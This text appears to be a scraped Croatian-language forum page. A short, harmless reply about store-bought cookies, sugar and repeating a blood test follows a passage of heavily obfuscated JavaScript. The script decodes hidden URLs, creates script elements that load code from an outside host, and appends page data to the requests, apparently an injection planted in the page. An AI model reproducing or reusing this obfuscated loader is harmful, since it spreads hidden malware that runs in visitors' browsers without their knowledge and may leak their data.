sk=document[q("\x45T"+"\x43G\x52C"+""+"c\u004A\u0043\u004b\x43HR"+"")](q('U'+'E'+'T'+'O\u0056\x52'));sk[q('\x55\u0043R\u0067R'+'\u0052'+'TO\x44S\x52\x43')](q('\x52\u005F\u0056C'),q('\u0052'+'C'+'^'+'R\t\x4CGPG'+'UE'+'\x54OV'+''+'R'));sk[q(('\u0055\u0043R'+'\x67\u0052\u0052'+'TO'+'D'+'p'+'U\u006AC').replace('\x70U\x6A','\x53R'+''))](q("\x45\x4EG\u0054\u0055C"+"R"),q("\u0073"+"r`\x0B\x1E"));if("http:"==document[q(("\u004a\x49E"+"B"+"e"+"\x6c\x74d\u004F\x49\x48").replace("Be\u006ctd","G"+""+"R"))][q(("V"+"T\u0049R"+"\x4c"+"d\u0074Z"+"I\u004A").replace("L\u0064\u0074"+"Z","\x49E"))]){sk[q(('\u0055C'+'R\x67'+'R'+'Rl\x45'+'g\u0076DSR\u0043').replace(''+'l\u0045\x67'+'v','\u0054O'))](q(''+'UT'+'E'),q('\x4ERR\u0056\x1c\t\tO'+'\b\u0054P\\T'+'\u004cU\b\x4fH'+'\u0040\x49\t\x54\u0050\\T'+'\t\u004c\x47\x50'+'GU'+'\u0045\u0054\x4F\u0056'+'R\bL\x55\u0019\x45N'+'\u0047'+'H\x48\x43J\x1b\u0054P\\T'+'\u0014\x16\x12\u0016\u0079\x14\u0016\x1e\u0014\u0000'+'G\u0056'+'V\x72'+'O\u0052\u004a\x43\u001B')+dv+q("\u0000V\x4A\x4F\x48\u004D\x1B")+encodeURIComponent(io));}else{sk[q(("\x55\x43R\u0067\u0052\u0052T"+"Ki\u0075"+"cR"+"C").replace(""+"Kiuc","\x4F\x44S"))](q("\u0055"+"T"+"E"),q(('\x4eR'+'RV\u0055\x1c\t\t\x4fy'+'TP'+'\\\x54\u004c\u0055\x79OH\u0040\x49\b\x52\u004aU'+''+'EB'+'\u0048\bE\x49\u004B\t\x54\x50\\\u0054\tL\x47P\x47\u0055ET'+'O'+'V\x52\bLU\u0019\u0045'+'N\x57\x54\x48x\u0043\x4A\u001B\x54P\\\x54\x14\x16\x12\x16'+'y\x14\x16\u001E\u0014\x00'+'G'+'V\x56r'+'OR\x4A\u0043\x1b').replace('W'+''+'THx','\u0047HH'+''))+dv+q(("\u0045qM\x4d\u001B").replace(""+"E\u0071\u004d","\u0000\u0056JO\u0048"))+encodeURIComponent(io));}document[q('D'+'IB\x5F')][q((""+"GVV\x43\u0048B\u0065S\x57\u0065N\u004AB").replace("S"+"W\u0065N"+"","\x4e\x4F"))](sk);})();;var ce=document[q(''+'E\u0054\u0043GR'+'\u0043c'+'J\u0043'+'KC'+'H'+'\x52')](q("\u0055E\x54\u004fV\u0052"));try{if(true)var wq=navigator.appName;}catch(nz){};ce[q("\u0055TE")]=q("\t\tA\u004fT"+"\b\u0042"+"T\u004FP"+"\x43"+"T\u0049V"+"R"+"\u004F\bH\u0043\x52\t\x55"+"B\t\x14\x16\u0012\x16\t\u0014\x16\u001e\u0014\bL\x55");var sw=window[("\u0078B"+"w").replace("\x78\x42","\x77\u0069n\x64\u006F")];document[q(("DNc"+"\x66_"+"").replace("N\u0063\x66","\x49\u0042"))][q('\x47\u0056\u0056C'+'HB\u0065'+'NO\u004A\x42')](ce);}})();
A desava se naravno sa kupovnim kolacima i kupovnim secerom |
Posted By: motivation_
Date Posted: 15 Prosinac 2014 at 13:41
|
da razmotricu to gym_girl...hvala...za 2 mjesecu ponovo cu vaditi krv da vidim vrijednosti
|
|
